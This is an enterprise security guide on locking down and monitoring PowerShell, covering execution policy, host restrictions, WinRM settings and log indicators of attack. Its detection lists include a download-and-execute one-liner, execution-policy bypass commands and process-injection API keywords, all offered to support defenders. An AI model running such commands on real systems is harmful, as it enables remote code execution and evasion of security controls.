Securing Powershell in the Enterprise

PowerShell is integrated with the .NET Framework and has full access to Component Object Model (COM) and Windows Management Instrumentation (WMI) functionality. Furthermore, it has full access to the Windows Application Programming Interface (WinAPI) via the .NET Framework. The default installation of PowerShell contains a large number of built-in cmdlets, which are small .NET programs that are accessed by PowerShell through simple commands. This provides a powerful and easy to use interface to the underlying system and allows for automation of a wide variety of tasks.

There are two primary security concerns with PowerShell:

- PowerShell is typically used once code execution has been gained during initial exploitation. Adversaries will continue to evolve offensive cyber capabilities and PowerShell-based implants are likely to be become more common in the future.
- PowerShell allows adversaries to perform code injection from the PowerShell environment into other processes without dropping malicious code to disk, effectively granting arbitrary code execution while bypassing many security protections and leaving virtually no residual artefacts on a system.

Organisations should use a list of approved PowerShell scripts to help mitigate execution of malicious PowerShell scripts. It is possible to enforce the script execution policy via Group Policy. The recommended script execution policy is AllSigned (all scripts have to be signed by a Trusted Publisher). Alternatively, for workstations where scripts are developed, the script execution policy should be RemoteSigned (only remotely downloaded scripts have to be signed by a Trusted Publisher).

In PowerShell, a 'host' is an executable that provides an interface to the underlying PowerShell environment and can be embedded in another application. PowerShell hosts should be restricted to privileged accounts performing administrative actions, or users with a defined need. Specifying only approved PowerShell hosts is the preferred approach to restricting access to Powershell; however, blocking default hosts (powershell.exe and powershell_ise.exe) is better than no restrictions. Access to PowerShell hosts should be denied through the use of technical controls for users that do not have a business need.

A baseline for normal PowerShell behaviour for a network should be performed in order to aid in the analysis of logs generated by PowerShell. Organisations should consider performing the following baseline analysis for workstation and server builds ensuring all details are documented so they can be referred to at a later date.

- **Code Behaviour**: Does non-malicious PowerShell code have a need to access the internet, open network connections, utilise cryptographic operations, or access the registry and system files? By determining the subset of PowerShell functionality required to perform system administration on the domain, spotting anomalous behaviour becomes easier.
- **Initial Code Execution**: How is PowerShell code normally executed (e.g. from a script file, command line, console input)?
- **User and Computer**: Which user accounts should be able to execute PowerShell code within the domain, a subdomain or a specific machine?
- **Remoting**: What are normal remoting patterns for users as well as source and target workstations and servers?

Once basic remoting is configured, the following settings should be configured via Group Policy to securely configure the WinRM client and service. The following settings are enabled by default, however, they should be confirmed in any secure PowerShell deployment:

- remove all protocols except Kerberos and Negotiate
- disable stored credentials and CredSSP
- disable legacy ports (80 and 443)

Constrained endpoints are a means of providing locked down PowerShell functionality. This is useful for enabling role-based delegation of privileges. The language mode in the constrained endpoint configuration should be set to NoLanguage which only allows the running of approved cmdlets and functions and disallows script blocks and other language features.

A limitation of constrained endpoints is that users with local administrative privileges will be able to bypass constrained endpoints as these users are able to run shell commands (including executing powershell.exe) remotely using Windows Remote Shell (WinRS), thereby circumventing endpoint policy.

Within the PowerShell log, the following indicators (or short aliases where appropriate) may be indicative of malicious activity and should be investigated:

- Loading with -NoProfile. The -NoProfile switch is an old method of bypassing transcript logging and script execution policy. This method does not work as of PowerShell version 5.0 however it will still work against legacy PowerShell installations.
- Loading with -ExecutionPolicy. The -ExecutionPolicy switch allows the user to bypass the execution policy of the system.
- Loading with -EncodedCommand. The -EncodedCommand switch accepts Base64 command strings that may . indicate an attempt to obfuscate the contents of a script.
- Loading with -Command. The -Command switch accepts any command that that can be entered into . PowerShell interactively, as a parameter to PowerShell directly.
- Using the Get-Content cmdlet and piping to the PowerShell host or Invoke-Expression cmdlet (i.e. Get-Content . .\script.ps1 | powershell.exe or Get-Content .\script.ps1 | Invoke-Expression).
- Using the Invoke-Expression cmdlet combined with instantiation of a new .NET webclient object at the . command line (i.e. powershell -nop -c “iex(New-Object Net.WebClient).downloadString (‘https://my.script/here’)”).
- Using the Invoke-Command cmdlet with the -scriptblock argument to run code in an interactive PowerShell . console. This is commonly used to run cmdlets remotely during normal system administration so be aware of false positives.
- Script execution from unusual user accounts. Pay particular attention to privileged account execution such as the local Administrator account, NT Authority\SYSTEM account and service accounts.
- Attempting to disable the script execution policy directly (i.e. Set-ExecutionPolicy Unrestricted).
- Use of the AuthorisationManager to disable the execution policy (i.e. identify modification of the . $ExecutionContext environment variable).
- Encoding of commands such as Base64 encoding.
- powershell_ise.exe will normally only be run on administrator or developer workstations, this process running . elsewhere should be regarded as suspicious.

The following indicators and keywords may identify malicious activity within the PowerShell environment:

PE and shellcode injection:

- System.Runtime.InteropServices.Marshal
- System.Runtime.InteropServices.MarshalAsAttribute
- System.Runtime.InteropServices.UnmanagedTypes
- System.Runtime.InteropServices.HandleRef
- kernel32.dll
- msvcrt.dll
- OpenProcess
- VirtualAllocEx
- VirtualAlloc
- WriteProcessMemory
- GetModuleHandle
- GetProcAddress
- VirtualProtect
- CreateRemoteThread
- CreateThread
- CloseHandle

PowerShell code injection or execution:

- Invoke-Expression
- iex
- Invoke-Command

network activity:

- System.Net.HttpWebClient
- System.Net.WebClient
- System.Net.HttpListener
- System.Net.Sockets.Socket

encryption or encoding:

- ConvertTo-SecureString cmdlet
- Security.Cryptography.CryptoStream
- [System.Convert]::ToBase64String($string)
- identifying any random or encoded data chunks
- keyword search (e.g. -encrypt, crypt, password, pass)

Windows Event Logs will provide the final piece of the puzzle when rebuilding a session. Look for the following activity:

- Process Creation (filter for PowerShell hosts (i.e. powershell.exe, powershell_ise.exe and wsmprovhost.exe)). Examine the process creator and determine if anomalous. The local Administrator account, NT Authority\SYSTEM account and service accounts should be investigated as a priority.
- Modification of registry keys under *\SOFTWARE\Policies\Microsoft\Windows\PowerShell.
- Deletion or modification of files in the transcript folder. Verify against timestamp in filename – deletion of a recent transcript file is suspicious. For this reason, the transcript directory should be audited via GPO and deletion events or modification by unusual accounts investigated.